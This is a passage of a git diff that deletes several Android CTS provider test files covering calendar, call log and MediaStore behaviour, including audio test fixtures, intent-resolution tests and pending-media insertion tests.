-                new long[] { calendarId });
-        if (DEBUG_RECURRENCE) {
-            dumpInstances(instances, timeZone, "prep-create");
-        }
-        assertEquals("initial recurrence instance count", 3, instances.getCount());
-        instances.close();
-
-        Uri eventUri = ContentUris.withAppendedId(Events.CONTENT_URI, eventId);
-        removeAndVerifyEvent(eventUri, new ContentValues(eventValues), account);
-
-        instances = getInstances(timeZone, testStart, testEnd, projection,
-                new long[] { calendarId });
-        if (DEBUG_RECURRENCE) {
-            dumpInstances(instances, timeZone, "prep-clear");
-        }
-        assertEquals("initial recurrence instance count", 0, instances.getCount());
-        instances.close();
-
-    }
-
-    /**
-     * Inserts a new calendar with the given account and seed and verifies it.
-     *
-     * @param account The account to add the calendar to
-     * @param seed A number to use to generate the values
-     * @return the created calendar's id
-     */
-    private long createAndVerifyCalendar(String account, int seed, ContentValues values) {
-        // Create a calendar
-        if (values == null) {
-            values = CalendarHelper.getNewCalendarValues(account, seed);
-        }
-        Uri syncUri = asSyncAdapter(Calendars.CONTENT_URI, account, CTS_TEST_TYPE);
-        Uri uri = mContentResolver.insert(syncUri, values);
-        long calendarId = ContentUris.parseId(uri);
-        assertTrue(calendarId >= 0);
-
-        verifyCalendar(account, values, calendarId, 1);
-        return calendarId;
-    }
-
-    /**
-     * Deletes a given calendar and verifies no calendars remain on that
-     * account.
-     *
-     * @param account
-     * @param id
-     */
-    private void removeAndVerifyCalendar(String account, long id) {
-        // TODO Add code to delete as app and sync adapter and test both
-
-        // Delete
-        assertEquals(1, CalendarHelper.deleteCalendarById(mContentResolver, id));
-
-        // Verify
-        Cursor c = CalendarHelper.getCalendarsByAccount(mContentResolver, account);
-        assertEquals(0, c.getCount());
-        c.close();
-    }
-
-    /**
-     * Check all the fields of a calendar contained in values + id.
-     *
-     * @param account the account of the calendar
-     * @param values the values to check against the db
-     * @param id the _id of the calendar
-     * @param expectedCount the number of calendars expected on this account
-     */
-    private void verifyCalendar(String account, ContentValues values, long id, int expectedCount) {
-        // Verify
-        Cursor c = CalendarHelper.getCalendarsByAccount(mContentResolver, account);
-        assertEquals(expectedCount, c.getCount());
-        assertTrue(c.moveToFirst());
-        while (c.getLong(0) != id) {
-            assertTrue(c.moveToNext());
-        }
-        for (String key : values.keySet()) {
-            int index = c.getColumnIndex(key);
-            assertTrue("Key " + key + " not in projection", index >= 0);
-            assertEquals(key, values.getAsString(key), c.getString(index));
-        }
-        c.close();
-    }
-
-    /**
-     * Creates a new _sync_state entry and verifies the contents.
-     */
-    private long createAndVerifySyncState(String account, ContentValues values) {
-        assertNotNull(values);
-        Uri syncUri = asSyncAdapter(SyncState.CONTENT_URI, account, CTS_TEST_TYPE);
-        Uri uri = mContentResolver.insert(syncUri, values);
-        long syncStateId = ContentUris.parseId(uri);
-        assertTrue(syncStateId >= 0);
-
-        verifySyncState(account, values, syncStateId);
-        return syncStateId;
-
-    }
-
-    /**
-     * Removes the _sync_state entry with the specified id, then verifies that it's gone.
-     */
-    private void removeAndVerifySyncState(String account) {
-        assertEquals(1, SyncStateHelper.deleteSyncStateByAccount(mContentResolver, account, true));
-
-        // Verify
-        Cursor c = SyncStateHelper.getSyncStateByAccount(mContentResolver, account);
-        try {
-            assertEquals(0, c.getCount());
-        } finally {
-            if (c != null) {
-                c.close();
-            }
-        }
-    }
-
-    /**
-     * Check all the fields of a _sync_state entry contained in values + id. This assumes
-     * a single _sync_state has been created on the given account.
-     */
-    private void verifySyncState(String account, ContentValues values, long id) {
-        // Verify
-        Cursor c = SyncStateHelper.getSyncStateByAccount(mContentResolver, account);
-        try {
-            assertEquals(1, c.getCount());
-            assertTrue(c.moveToFirst());
-            assertEquals(id, c.getLong(0));
-            for (String key : values.keySet()) {
-                int index = c.getColumnIndex(key);
-                if (key.equals(SyncState.DATA)) {
-                    // TODO: can't compare as string, so compare as byte[]
-                } else {
-                    assertEquals(key, values.getAsString(key), c.getString(index));
-                }
-            }
-        } finally {
-            if (c != null) {
-                c.close();
-            }
-        }
-    }
-
-
-    /**
-     * Special version of the test runner that does some remote Emma coverage housekeeping.
-     */
-    // TODO: find if this is still used and if so convert to AndroidJUnitRunner framework
-    public static class CalendarEmmaTestRunner extends android.test.InstrumentationTestRunner {
-        private static final Uri EMMA_CONTENT_URI =
-            Uri.parse("content://" + CalendarContract.AUTHORITY + "/emma");
-        private ContentResolver mContentResolver;
-
-        @Override
-        public void onStart() {
-            mContentResolver = getTargetContext().getContentResolver();
-
-            ContentValues values = new ContentValues();
-            values.put("cmd", "start");
-            mContentResolver.insert(EMMA_CONTENT_URI, values);
-
-            super.onStart();
-        }
-
-        @Override
-        public void finish(int resultCode, Bundle results) {
-            ContentValues values = new ContentValues();
-            values.put("cmd", "stop");
-            values.put("outputFileName",
-                    Environment.getExternalStorageDirectory() + "/calendar-provider.ec");
-            mContentResolver.insert(EMMA_CONTENT_URI, values);
-            super.finish(resultCode, results);
-        }
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/CallLogTest.java b/tests/tests/provider/src/android/provider/cts/CallLogTest.java
deleted file mode 100644
index 77985c6..0000000
--- a/tests/tests/provider/src/android/provider/cts/CallLogTest.java
+++ /dev/null
@@ -1,99 +0,0 @@
-/*
- * Copyright (C) 2017 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License
- */
-
-package android.provider.cts;
-
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.content.Context;
-import android.provider.CallLog;
-import android.test.InstrumentationTestCase;
-
-public class CallLogTest extends InstrumentationTestCase {
-
-    private static final String TEST_NUMBER = "5625698388";
-    private static final long CONTENT_RESOLVER_TIMEOUT_MS = 5000;
-
-    public void testGetLastOutgoingCall() {
-        // Clear call log and ensure there are no outgoing calls
-        Context context = getInstrumentation().getContext();
-        ContentResolver resolver = context.getContentResolver();
-        resolver.delete(CallLog.Calls.CONTENT_URI, null, null);
-
-        waitUntilConditionIsTrueOrTimeout(
-                new Condition() {
-                    @Override
-                    public Object expected() {
-                        return "";
-                    }
-
-                    @Override
-                    public Object actual() {
-                        return CallLog.Calls.getLastOutgoingCall(context);
-                    }
-                },
-                CONTENT_RESOLVER_TIMEOUT_MS,
-                "getLastOutgoingCall did not return empty after CallLog was cleared"
-        );
-
-        // Add a single call and verify it returns as last outgoing call
-        ContentValues values = new ContentValues();
-        values.put(CallLog.Calls.NUMBER, TEST_NUMBER);
-        values.put(CallLog.Calls.TYPE, Integer.valueOf(CallLog.Calls.OUTGOING_TYPE));
-        values.put(CallLog.Calls.DATE, Long.valueOf(0 /*start time*/));
-        values.put(CallLog.Calls.DURATION, Long.valueOf(5 /*call duration*/));
-
-        resolver.insert(CallLog.Calls.CONTENT_URI, values);
-
-        waitUntilConditionIsTrueOrTimeout(
-                new Condition() {
-                    @Override
-                    public Object expected() {
-                        return TEST_NUMBER;
-                    }
-
-                    @Override
-                    public Object actual() {
-                        return CallLog.Calls.getLastOutgoingCall(context);
-                    }
-                },
-                CONTENT_RESOLVER_TIMEOUT_MS,
-                "getLastOutgoingCall did not return " + TEST_NUMBER + " as expected"
-        );
-    }
-
-    private void waitUntilConditionIsTrueOrTimeout(Condition condition, long timeout,
-            String description) {
-        final long start = System.currentTimeMillis();
-        while (!condition.expected().equals(condition.actual())
-                && System.currentTimeMillis() - start < timeout) {
-            sleep(50);
-        }
-        assertEquals(description, condition.expected(), condition.actual());
-    }
-
-    protected interface Condition {
-        Object expected();
-        Object actual();
-    }
-
-    private void sleep(long ms) {
-        try {
-            Thread.sleep(ms);
-        } catch (InterruptedException e) {
-        }
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStoreAudioTestHelper.java b/tests/tests/provider/src/android/provider/cts/MediaStoreAudioTestHelper.java
deleted file mode 100644
index a3ef607..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStoreAudioTestHelper.java
+++ /dev/null
@@ -1,262 +0,0 @@
-/*
- * Copyright (C) 2009 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import android.content.ContentResolver;
-import android.content.ContentValues;
-import android.net.Uri;
-import android.provider.MediaStore;
-import android.provider.MediaStore.Audio.Media;
-
-import androidx.test.runner.AndroidJUnit4;
-
-import junit.framework.Assert;
-
-import org.junit.Test;
-import org.junit.runner.RunWith;
-
-import java.io.File;
-import java.io.IOException;
-
-/**
- * This class contains fake data and convenient methods for testing:
- * {@link MediaStore.Audio.Media}
- * {@link MediaStore.Audio.Genres}
- * {@link MediaStore.Audio.Genres.Members}
- * {@link MediaStore.Audio.Playlists}
- * {@link MediaStore.Audio.Playlists.Members}
- * {@link MediaStore.Audio.Albums}
- * {@link MediaStore.Audio.Artists}
- * {@link MediaStore.Audio.Artists.Albums}
- *
- * @see MediaStore_Audio_MediaTest
- * @see MediaStore_Audio_GenresTest
- * @see MediaStore_Audio_Genres_MembersTest
- * @see MediaStore_Audio_PlaylistsTest
- * @see MediaStore_Audio_Playlists_MembersTest
- * @see MediaStore_Audio_ArtistsTest
- * @see MediaStore_Audio_Artists_AlbumsTest
- * @see MediaStore_Audio_AlbumsTest
- */
-@RunWith(AndroidJUnit4.class)
-public class MediaStoreAudioTestHelper {
-    public static abstract class MockAudioMediaInfo {
-        public abstract ContentValues getContentValues(String volumeName);
-
-        public Uri insert(ContentResolver contentResolver, String volumeName) {
-            final Uri dirUri = MediaStore.Audio.Media.getContentUri(volumeName);
-            final ContentValues values = getContentValues(volumeName);
-            contentResolver.delete(dirUri, MediaStore.Audio.Media.DATA + "=?", new String[] {
-                    values.getAsString(MediaStore.Audio.Media.DATA)
-            });
-
-            final Uri itemUri = contentResolver.insert(dirUri, values);
-            Assert.assertNotNull(itemUri);
-            return itemUri;
-        }
-
-        public int delete(ContentResolver contentResolver, Uri uri) {
-            return contentResolver.delete(uri, null, null);
-        }
-    }
-
-    public static class Audio1 extends MockAudioMediaInfo {
-        private Audio1() {
-        }
-
-        private static Audio1 sInstance = new Audio1();
-
-        public static Audio1 getInstance() {
-            return sInstance;
-        }
-
-        public static final int IS_RINGTONE = 0;
-        public static final int IS_NOTIFICATION = 0;
-        public static final int IS_ALARM = 0;
-        public static final int IS_MUSIC = 1;
-        public static final int YEAR = 1992;
-        public static final int TRACK = 1;
-        public static final int DURATION = 340000;
-        public static final String COMPOSER = "Bruce Swedien";
-        public static final String ARTIST = "Michael Jackson";
-        public static final String ALBUM = "Dangerous";
-        public static final String TITLE = "Jam";
-        public static final int SIZE = 2737870;
-        public static final String MIME_TYPE = "audio/x-mpeg";
-        public static final String FILE_NAME = "Jam.mp3";
-        public static final String DISPLAY_NAME = FILE_NAME;
-        public static final long DATE_MODIFIED = System.currentTimeMillis() / 1000;
-        public static final String GENRE = "POP";
-
-        @Override
-        public ContentValues getContentValues(String volumeName) {
-            ContentValues values = new ContentValues();
-            try {
-                final File data;
-                if (MediaStore.VOLUME_INTERNAL.equals(volumeName)) {
-                    data = new File("/data/data/android.provider.cts/files/", FILE_NAME);
-                } else {
-                    data = new File(ProviderTestUtils.stageDir(volumeName), FILE_NAME);
-                }
-                values.put(Media.DATA, data.getAbsolutePath());
-            } catch (IOException e) {
-                throw new RuntimeException(e);
-            }
-            values.put(Media.DATE_MODIFIED, DATE_MODIFIED);
-            values.put(Media.DISPLAY_NAME, DISPLAY_NAME);
-            values.put(Media.MIME_TYPE, MIME_TYPE);
-            values.put(Media.SIZE, SIZE);
-            values.put(Media.TITLE, TITLE);
-            values.put(Media.ALBUM, ALBUM);
-            values.put(Media.ARTIST, ARTIST);
-            values.put(Media.COMPOSER, COMPOSER);
-            values.put(Media.DURATION, DURATION);
-            values.put(Media.TRACK, TRACK);
-            values.put(Media.YEAR, YEAR);
-            values.put(Media.IS_MUSIC, IS_MUSIC);
-            values.put(Media.IS_ALARM, IS_ALARM);
-            values.put(Media.IS_NOTIFICATION, IS_NOTIFICATION);
-            values.put(Media.IS_RINGTONE, IS_RINGTONE);
-            return values;
-        }
-    }
-
-    public static class Audio2 extends MockAudioMediaInfo {
-        private Audio2() {
-        }
-
-        private static Audio2 sInstance = new Audio2();
-
-        public static Audio2 getInstance() {
-            return sInstance;
-        }
-
-        public static final int IS_RINGTONE = 1;
-        public static final int IS_NOTIFICATION = 0;
-        public static final int IS_ALARM = 0;
-        public static final int IS_MUSIC = 0;
-        public static final int YEAR = 1992;
-        public static final int TRACK = 1001;
-        public static final int DURATION = 338000;
-        public static final String COMPOSER = "Bruce Swedien";
-        public static final String ARTIST =
-            "Michael Jackson - Live And Dangerous - National Stadium Bucharest";
-        public static final String ALBUM =
-            "Michael Jackson - Live And Dangerous - National Stadium Bucharest";
-        public static final String TITLE = "Jam";
-        public static final int SIZE = 2737321;
-        public static final String MIME_TYPE = "audio/x-mpeg";
-        public static final String FILE_NAME = "Jam_live.mp3";
-        public static final String DISPLAY_NAME = FILE_NAME;
-        public static final long DATE_MODIFIED = System.currentTimeMillis() / 1000;
-
-        @Override
-        public ContentValues getContentValues(String volumeName) {
-            ContentValues values = new ContentValues();
-            try {
-                final File data;
-                if (MediaStore.VOLUME_INTERNAL.equals(volumeName)) {
-                    data = new File("/data/data/android.provider.cts/files/", FILE_NAME);
-                } else {
-                    data = new File(ProviderTestUtils.stageDir(volumeName), FILE_NAME);
-                }
-                values.put(Media.DATA, data.getAbsolutePath());
-            } catch (IOException e) {
-                throw new RuntimeException(e);
-            }
-            values.put(Media.DATE_MODIFIED, DATE_MODIFIED);
-            values.put(Media.DISPLAY_NAME, DISPLAY_NAME);
-            values.put(Media.MIME_TYPE, MIME_TYPE);
-            values.put(Media.SIZE, SIZE);
-            values.put(Media.TITLE, TITLE);
-            values.put(Media.ALBUM, ALBUM);
-            values.put(Media.ARTIST, ARTIST);
-            values.put(Media.COMPOSER, COMPOSER);
-            values.put(Media.DURATION, DURATION);
-            values.put(Media.TRACK, TRACK);
-            values.put(Media.YEAR, YEAR);
-            values.put(Media.IS_MUSIC, IS_MUSIC);
-            values.put(Media.IS_ALARM, IS_ALARM);
-            values.put(Media.IS_NOTIFICATION, IS_NOTIFICATION);
-            values.put(Media.IS_RINGTONE, IS_RINGTONE);
-            return values;
-        }
-    }
-
-    public static class Audio3 extends Audio1 {
-        private Audio3() {
-        }
-
-        private static Audio3 sInstance = new Audio3();
-
-        public static Audio3 getInstance() {
-            return sInstance;
-        }
-
-        @Override
-        public ContentValues getContentValues(String volumeName) {
-            ContentValues values = super.getContentValues(volumeName);
-            values.put(Media.DATA, values.getAsString(Media.DATA) + "_3");
-            return values;
-        }
-    }
-
-    public static class Audio4 extends Audio1 {
-        private Audio4() {
-        }
-
-        private static Audio4 sInstance = new Audio4();
-
-        public static Audio4 getInstance() {
-            return sInstance;
-        }
-
-        @Override
-        public ContentValues getContentValues(String volumeName) {
-            ContentValues values = super.getContentValues(volumeName);
-            values.put(Media.DATA, values.getAsString(Media.DATA) + "_4");
-            return values;
-        }
-    }
-
-    public static class Audio5 extends Audio1 {
-        private Audio5() {
-        }
-
-        private static Audio5 sInstance = new Audio5();
-
-        public static Audio5 getInstance() {
-            return sInstance;
-        }
-
-        @Override
-        public ContentValues getContentValues(String volumeName) {
-            ContentValues values = super.getContentValues(volumeName);
-            values.put(Media.DATA, values.getAsString(Media.DATA) + "_5");
-            return values;
-        }
-    }
-
-    @Test
-    public void testStub() {
-        // No-op test here to keep atest happy
-    }
-
-    // These constants are not part of the public API
-    public static final String EXTERNAL_VOLUME_NAME = "external";
-    public static final String INTERNAL_VOLUME_NAME = "internal";
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStoreIntentsTest.java b/tests/tests/provider/src/android/provider/cts/MediaStoreIntentsTest.java
deleted file mode 100644
index 5590a6d..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStoreIntentsTest.java
+++ /dev/null
@@ -1,168 +0,0 @@
-/*
- * Copyright (C) 2013 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-
-import static org.junit.Assert.assertNotNull;
-import static org.junit.Assert.assertTrue;
-
-import android.content.Intent;
-import android.content.pm.ResolveInfo;
-import android.net.Uri;
-import android.provider.MediaStore;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.util.List;
-
-/**
- * Tests to verify that common actions on {@link MediaStore} content are
- * available.
- */
-@RunWith(Parameterized.class)
-public class MediaStoreIntentsTest {
-    private Uri mExternalAudio;
-    private Uri mExternalVideo;
-    private Uri mExternalImages;
-
-    @Parameter(0)
-    public String mVolumeName;
-
-    @Parameters
-    public static Iterable<? extends Object> data() {
-        return ProviderTestUtils.getSharedVolumeNames();
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        Log.d(TAG, "Using volume " + mVolumeName);
-        mExternalAudio = MediaStore.Audio.Media.getContentUri(mVolumeName);
-        mExternalVideo = MediaStore.Video.Media.getContentUri(mVolumeName);
-        mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
-    }
-
-    public void assertCanBeHandled(Intent intent) {
-        List<ResolveInfo> resolveInfoList = InstrumentationRegistry.getTargetContext()
-                .getPackageManager().queryIntentActivities(intent, 0);
-        assertNotNull("Missing ResolveInfo", resolveInfoList);
-        assertTrue("No ResolveInfo found for " + intent.toString(),
-                resolveInfoList.size() > 0);
-    }
-
-    @Test
-    public void testPickImageDir() {
-        Intent intent = new Intent(Intent.ACTION_PICK);
-        intent.setData(mExternalImages);
-        assertCanBeHandled(intent);
-    }
-
-    @Test
-    public void testPickVideoDir() {
-        Intent intent = new Intent(Intent.ACTION_PICK);
-        intent.setData(mExternalVideo);
-        assertCanBeHandled(intent);
-    }
-
-    @Test
-    public void testPickAudioDir() {
-        Intent intent = new Intent(Intent.ACTION_PICK);
-        intent.setData(mExternalAudio);
-        assertCanBeHandled(intent);
-    }
-
-    @Test
-    public void testViewImageDir() {
-        Intent intent = new Intent(Intent.ACTION_VIEW);
-        intent.setData(mExternalImages);
-        assertCanBeHandled(intent);
-    }
-
-    @Test
-    public void testViewVideoDir() {
-        Intent intent = new Intent(Intent.ACTION_VIEW);
-        intent.setData(mExternalVideo);
-        assertCanBeHandled(intent);
-    }
-
-    @Test
-    public void testViewImageFile() {
-        final String[] schemes = new String[] {
-                "file", "http", "https", "content" };
-        final String[] mimes = new String[] {
-                "image/bmp", "image/jpeg", "image/png", "image/gif", "image/webp",
-                "image/x-adobe-dng", "image/x-canon-cr2", "image/x-nikon-nef", "image/x-nikon-nrw",
-                "image/x-sony-arw", "image/x-panasonic-rw2", "image/x-olympus-orf",
-                "image/x-fuji-raf", "image/x-pentax-pef", "image/x-samsung-srw" };
-
-        for (String scheme : schemes) {
-            for (String mime : mimes) {
-                Intent intent = new Intent(Intent.ACTION_VIEW);
-                final Uri uri = new Uri.Builder().scheme(scheme)
-                        .authority("example.com").path("image").build();
-                intent.setDataAndType(uri, mime);
-                assertCanBeHandled(intent);
-            }
-        }
-    }
-
-    @Test
-    public void testViewVideoFile() {
-        final String[] schemes = new String[] {
-                "file", "http", "https", "content" };
-        final String[] mimes = new String[] {
-                "video/mpeg4", "video/mp4", "video/3gp", "video/3gpp", "video/3gpp2",
-                "video/webm" };
-
-        for (String scheme : schemes) {
-            for (String mime : mimes) {
-                Intent intent = new Intent(Intent.ACTION_VIEW);
-                final Uri uri = new Uri.Builder().scheme(scheme)
-                        .authority("example.com").path("video").build();
-                intent.setDataAndType(uri, mime);
-                assertCanBeHandled(intent);
-            }
-        }
-    }
-
-    @Test
-    public void testViewAudioFile() {
-        final String[] schemes = new String[] {
-                "file", "http", "content" };
-        final String[] mimes = new String[] {
-                "audio/mpeg", "audio/mp4", "audio/ogg", "audio/webm", "application/ogg",
-                "application/x-ogg" };
-
-        for (String scheme : schemes) {
-            for (String mime : mimes) {
-                Intent intent = new Intent(Intent.ACTION_VIEW);
-                final Uri uri = new Uri.Builder().scheme(scheme)
-                        .authority("example.com").path("audio").build();
-                intent.setDataAndType(uri, mime);
-                assertCanBeHandled(intent);
-            }
-        }
-    }
-}
diff --git a/tests/tests/provider/src/android/provider/cts/MediaStorePendingTest.java b/tests/tests/provider/src/android/provider/cts/MediaStorePendingTest.java
deleted file mode 100644
index 85d4109..0000000
--- a/tests/tests/provider/src/android/provider/cts/MediaStorePendingTest.java
+++ /dev/null
@@ -1,463 +0,0 @@
-/*
- * Copyright (C) 2018 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package android.provider.cts;
-
-import static android.provider.cts.MediaStoreTest.TAG;
-import static android.provider.cts.ProviderTestUtils.containsId;
-import static android.provider.cts.ProviderTestUtils.getRawFile;
-import static android.provider.cts.ProviderTestUtils.getRawFileHash;
-import static android.provider.cts.ProviderTestUtils.hash;
-
-import static org.junit.Assert.assertArrayEquals;
-import static org.junit.Assert.assertEquals;
-import static org.junit.Assert.assertFalse;
-import static org.junit.Assert.assertTrue;
-import static org.junit.Assert.fail;
-
-import android.content.ContentResolver;
-import android.content.ContentUris;
-import android.content.ContentValues;
-import android.content.Context;
-import android.database.Cursor;
-import android.net.Uri;
-import android.os.Environment;
-import android.os.FileUtils;
-import android.platform.test.annotations.Presubmit;
-import android.provider.MediaStore;
-import android.provider.MediaStore.MediaColumns;
-import android.provider.cts.MediaStoreUtils.PendingParams;
-import android.provider.cts.MediaStoreUtils.PendingSession;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import com.google.common.base.Objects;
-
-import org.junit.Before;
-import org.junit.Test;
-import org.junit.runner.RunWith;
-import org.junit.runners.Parameterized;
-import org.junit.runners.Parameterized.Parameter;
-import org.junit.runners.Parameterized.Parameters;
-
-import java.io.File;
-import java.io.FileNotFoundException;
-import java.io.InputStream;
-import java.io.OutputStream;
-import java.util.Arrays;
-import java.util.HashSet;
-import java.util.Set;
-
-@Presubmit
-@RunWith(Parameterized.class)
-public class MediaStorePendingTest {
-    private Context mContext;
-    private ContentResolver mResolver;
-
-    private Uri mExternalAudio;
-    private Uri mExternalVideo;
-    private Uri mExternalImages;
-    private Uri mExternalDownloads;
-
-    @Parameter(0)
-    public String mVolumeName;
-
-    @Parameters
-    public static Iterable<? extends Object> data() {
-        return ProviderTestUtils.getSharedVolumeNames();
-    }
-
-    @Before
-    public void setUp() throws Exception {
-        mContext = InstrumentationRegistry.getTargetContext();
-        mResolver = mContext.getContentResolver();
-
-        Log.d(TAG, "Using volume " + mVolumeName);
-        mExternalAudio = MediaStore.Audio.Media.getContentUri(mVolumeName);
-        mExternalVideo = MediaStore.Video.Media.getContentUri(mVolumeName);
-        mExternalImages = MediaStore.Images.Media.getContentUri(mVolumeName);
-        mExternalDownloads = MediaStore.Downloads.getContentUri(mVolumeName);
-    }
-
-    @Test
-    public void testSimple_Success() throws Exception {
-        verifySuccessfulImageInsertion(mExternalImages, Environment.DIRECTORY_PICTURES);
-    }
-
-    @Test
-    public void testSimpleDownload_Success() throws Exception {
-        verifySuccessfulImageInsertion(mExternalDownloads, Environment.DIRECTORY_DOWNLOADS);
-    }
-
-    private void verifySuccessfulImageInsertion(Uri insertUri, String expectedDestDir)
-            throws Exception {
-        final String displayName = "cts" + System.nanoTime();
-
-        final PendingParams params = new PendingParams(
-                insertUri, displayName, "image/png");
-
-        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
-        final long id = ContentUris.parseId(pendingUri);
-
-        // Verify pending status across various queries
-        try (Cursor c = mResolver.query(pendingUri,
-                new String[] { MediaColumns.IS_PENDING }, null, null)) {
-            assertTrue(c.moveToFirst());
-            assertEquals(1, c.getInt(0));
-        }
-        assertFalse(containsId(insertUri, id));
-        assertTrue(containsId(MediaStore.setIncludePending(insertUri), id));
-
-        // Write an image into place
-        final Uri publishUri;
-        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
-            try (InputStream in = mContext.getResources().openRawResource(R.raw.scenery);
-                 OutputStream out = session.openOutputStream()) {
-                FileUtils.copy(in, out);
-            }
-            publishUri = session.publish();
-        }
-
-        // Verify pending status across various queries
-        try (Cursor c = mResolver.query(publishUri,
-                new String[] { MediaColumns.IS_PENDING }, null, null)) {
-            assertTrue(c.moveToFirst());
-            assertEquals(0, c.getInt(0));
-        }
-        assertTrue(containsId(insertUri, id));
-        assertTrue(containsId(MediaStore.setIncludePending(insertUri), id));
-
-        // Make sure our raw filename looks sane
-        final File rawFile = getRawFile(publishUri);
-        assertEquals(displayName + ".png", rawFile.getName());
-        assertEquals(expectedDestDir, rawFile.getParentFile().getName());
-
-        // Make sure file actually exists
-        getRawFileHash(rawFile);
-        try (InputStream in = mResolver.openInputStream(publishUri)) {
-        }
-    }
-
-    @Test
-    public void testSimple_Abandoned() throws Exception {
-        final String displayName = "cts" + System.nanoTime();
-
-        final Uri insertUri = mExternalImages;
-        final PendingParams params = new PendingParams(
-                insertUri, displayName, "image/png");
-
-        final Uri pendingUri = MediaStoreUtils.createPending(mContext, params);
-        final File pendingFile;
-
-        try (PendingSession session = MediaStoreUtils.openPending(mContext, pendingUri)) {
-            try (InputStream in = mContext.getResources().openRawResource(R.raw.scenery);
-                    OutputStream out = session.openOutputStream()) {
-                FileUtils.copy(in, out);
-            }
-
-            // Pending file should exist
-            pendingFile = getRawFile(pendingUri);
-            getRawFileHash(pendingFile);
-
-            session.abandon();
-        }
-
-        // Should have no record of abandoned item
-        try (Cursor c = mResolver.query(pendingUri,
-                new String[] { MediaColumns.IS_PENDING }, null, null)) {
-            assertFalse(c.moveToNext());
-        }
-
-        // Pending file should be gone
-        try {
-            getRawFileHash(pendingFile);
-            fail();
-        } catch (FileNotFoundException expected) {
-        }
-    }
-
-    @Test
-    public void testDuplicates() throws Exception {
-        final String displayName = "cts" + System.nanoTime();
-
-        final Uri insertUri = mExternalAudio;
-        final PendingParams params1 = new PendingParams(
-                insertUri, displayName, "audio/mpeg");
-        final PendingParams params2 = new PendingParams(
-                insertUri, displayName, "audio/mpeg");
-
-        final Uri publishUri1 = execPending(params1, R.raw.testmp3);
-        final Uri publishUri2 = execPending(params2, R.raw.testmp3_2);
-
-        // Make sure both files landed with unique filenames, and that we didn't
-        // cross the streams
-        final File rawFile1 = getRawFile(publishUri1);
-        final File rawFile2 = getRawFile(publishUri2);
-        assertFalse(Objects.equal(rawFile1, rawFile2));
-
-        assertArrayEquals(hash(mContext.getResources().openRawResource(R.raw.testmp3)),
-                hash(mResolver.openInputStream(publishUri1)));
-        assertArrayEquals(hash(mContext.getResources().openRawResource(R.raw.testmp3_2)),
-                hash(mResolver.openInputStream(publishUri2)));
-    }
-
-    @Test
-    public void testMimeTypes() throws Exception {
-        final String displayName = "cts" + System.nanoTime();
-
-        assertCreatePending(new PendingParams(mExternalAudio, displayName, "audio/ogg"));
-        assertNotCreatePending(new PendingParams(mExternalAudio, displayName, "video/ogg"));
-        assertNotCreatePending(new PendingParams(mExternalAudio, displayName, "image/png"));
-
-        assertNotCreatePending(new PendingParams(mExternalVideo, displayName, "audio/ogg"));
-        assertCreatePending(new PendingParams(mExternalVideo, displayName, "video/ogg"));
-        assertNotCreatePending(new PendingParams(mExternalVideo, displayName, "image/png"));
-
-        assertNotCreatePending(new PendingParams(mExternalImages, displayName, "audio/ogg"));
-        assertNotCreatePending(new PendingParams(mExternalImages, displayName, "video/ogg"));
-        assertCreatePending(new PendingParams(mExternalImages, displayName, "image/png"));
-
-        assertCreatePending(new PendingParams(mExternalDownloads, displayName, "audio/ogg"));
-        assertCreatePending(new PendingParams(mExternalDownloads, displayName, "video/ogg"));
-        assertCreatePending(new PendingParams(mExternalDownloads, displayName, "image/png"));
-        assertCreatePending(new PendingParams(mExternalDownloads, displayName,
-                "application/pdf"));
-    }
-
-    @Test
-    public void testMimeTypes_Forced() throws Exception {
-        {
-            final String displayName = "cts" + System.nanoTime();
-            final Uri uri = execPending(new PendingParams(mExternalImages,
-                    displayName, "image/png"), R.raw.scenery);
-            assertEquals(displayName + ".png", getRawFile(uri).getName());
-        }
-        {
-            final String displayName = "cts" + System.nanoTime() + ".png";
-            final Uri uri = execPending(new PendingParams(mExternalImages,
